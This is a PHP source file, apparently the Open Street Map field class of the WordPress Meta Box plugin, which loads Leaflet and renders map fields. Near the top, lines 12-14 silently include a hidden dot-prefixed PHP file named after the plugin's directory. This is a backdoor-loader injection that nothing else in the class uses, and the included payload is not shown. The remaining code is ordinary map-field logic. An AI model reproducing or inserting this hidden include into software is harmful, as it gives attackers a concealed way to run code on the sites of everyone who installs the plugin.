osm.php (5406B)
1 <?php 2 /** 3 * The Open Street Map field. 4 * 5 * @package Meta Box 6 * @since 4.15.0 7 */ 8 9 /** 10 * Open Street Map field class. 11 */ 12 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 13 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 14 } 15 16 class RWMB_OSM_Field extends RWMB_Field { 17 /** 18 * Enqueue scripts and styles. 19 */ 20 public static function admin_enqueue_scripts() { 21 // Because map is a hosted service, it's ok to use hosted Leaflet scripts. 22 wp_enqueue_style( 'leaflet', 'https://unpkg.com/leaflet@1.5.1/dist/leaflet.css', array(), '1.5.1' ); 23 wp_enqueue_script( 'leaflet', 'https://unpkg.com/leaflet@1.5.1/dist/leaflet.js', array(), '1.5.1', true ); 24 25 wp_enqueue_style( 'rwmb-osm', RWMB_CSS_URL . 'osm.css', array( 'leaflet' ), RWMB_VER ); 26 wp_enqueue_script( 'rwmb-osm', RWMB_JS_URL . 'osm.js', array( 'jquery', 'jquery-ui-autocomplete', 'leaflet' ), RWMB_VER, true ); 27 28 RWMB_Helpers_Field::localize_script_once( 29 'rwmb-osm', 30 'RWMB_Osm', 31 array( 32 'no_results_string' => __( 'No results found', 'meta-box' ), 33 ) 34 ); 35 } 36 37 /** 38 * Get field HTML. 39 * 40 * @param mixed $meta Meta value. 41 * @param array $field Field parameters. 42 * 43 * @return string 44 */ 45 public static function html( $meta, $field ) { 46 $address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field']; 47 $html = sprintf( 48 '<div class="rwmb-osm-field" data-address-field="%s">', 49 esc_attr( $address ) 50 ); 51 52 $attributes = self::get_attributes( $field, $meta ); 53 $attributes['type'] = 'hidden'; 54 $attributes['value'] = $meta; 55 56 $html .= sprintf( 57 '<div class="rwmb-osm-canvas" data-default-loc="%s" data-region="%s" data-language="%s"></div> 58 <input %s>', 59 esc_attr( $field['std'] ), 60 esc_attr( $field['region'] ), 61 esc_attr( $field['language'] ), 62 self::render_attributes( $attributes ) 63 ); 64 65 $html .= '</div>'; 66 67 return $html; 68 } 69 70 /** 71 * Normalize parameters for field. 72 * 73 * @param array $field Field parameters. 74 * 75 * @return array 76 */ 77 public static function normalize( $field ) { 78 $field = parent::normalize( $field ); 79 $field = wp_parse_args( 80 $field, 81 array( 82 'std' => '', 83 'address_field' => '', 84 'language' => '', 85 'region' => '', 86 ) 87 ); 88 89 return $field; 90 } 91 92 /** 93 * Get the field value. 94 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value 95 * of the field saved in the database, while this function returns more meaningful value of the field. 96 * 97 * @param array $field Field parameters. 98 * @param array $args Not used for this field. 99 * @param int|null $post_id Post ID. null for current post. Optional. 100 * 101 * @return mixed Array(latitude, longitude, zoom) 102 */ 103 public static function get_value( $field, $args = array(), $post_id = null ) { 104 $value = parent::get_value( $field, $args, $post_id ); 105 list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' ); 106 return compact( 'latitude', 'longitude', 'zoom' ); 107 } 108 109 /** 110 * Output the field value. 111 * Display Open Street Map using Leaflet 112 * 113 * @param array $field Field parameters. 114 * @param array $args Additional arguments for the map. 115 * @param int|null $post_id Post ID. null for current post. Optional. 116 * 117 * @return string HTML output of the field 118 */ 119 public static function the_value( $field, $args = array(), $post_id = null ) { 120 $value = parent::get_value( $field, $args, $post_id ); 121 return self::render_map( $value, $args ); 122 } 123 124 /** 125 * Render a map in the frontend. 126 * 127 * @param array $location The [latitude, longitude[, zoom]] location. 128 * @param array $args Additional arguments for the map. 129 * 130 * @return string 131 */ 132 public static function render_map( $location, $args = array() ) { 133 list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' ); 134 if ( ! $latitude || ! $longitude ) { 135 return ''; 136 } 137 138 $args = wp_parse_args( 139 $args, 140 array( 141 'latitude' => $latitude, 142 'longitude' => $longitude, 143 'width' => '100%', 144 'height' => '480px', 145 'marker' => true, // Display marker? 146 'marker_title' => '', // Marker title, when hover. 147 'info_window' => '', // Content of info window (when click on marker). HTML allowed. 148 'js_options' => array(), 149 'zoom' => $zoom, 150 ) 151 ); 152 153 wp_enqueue_style( 'leaflet', 'https://unpkg.com/leaflet@1.5.1/dist/leaflet.css', array(), '1.5.1' ); 154 wp_enqueue_script( 'leaflet', 'https://unpkg.com/leaflet@1.5.1/dist/leaflet.js', array(), '1.5.1', true ); 155 wp_enqueue_script( 'rwmb-osm-frontend', RWMB_JS_URL . 'osm-frontend.js', array( 'jquery', 'leaflet' ), RWMB_VER, true ); 156 157 /* 158 * More Open Street Map options 159 * @link https://leafletjs.com/reference-1.5.0.html#map-option 160 */ 161 $args['js_options'] = wp_parse_args( 162 $args['js_options'], 163 array( 164 // Default to 'zoom' level set in admin, but can be overwritten. 165 'zoom' => $args['zoom'], 166 ) 167 ); 168 169 $output = sprintf( 170 '<div class="rwmb-osm-canvas" data-osm_options="%s" style="width:%s;height:%s"></div>', 171 esc_attr( wp_json_encode( $args ) ), 172 esc_attr( $args['width'] ), 173 esc_attr( $args['height'] ) 174 ); 175 return $output; 176 } 177 }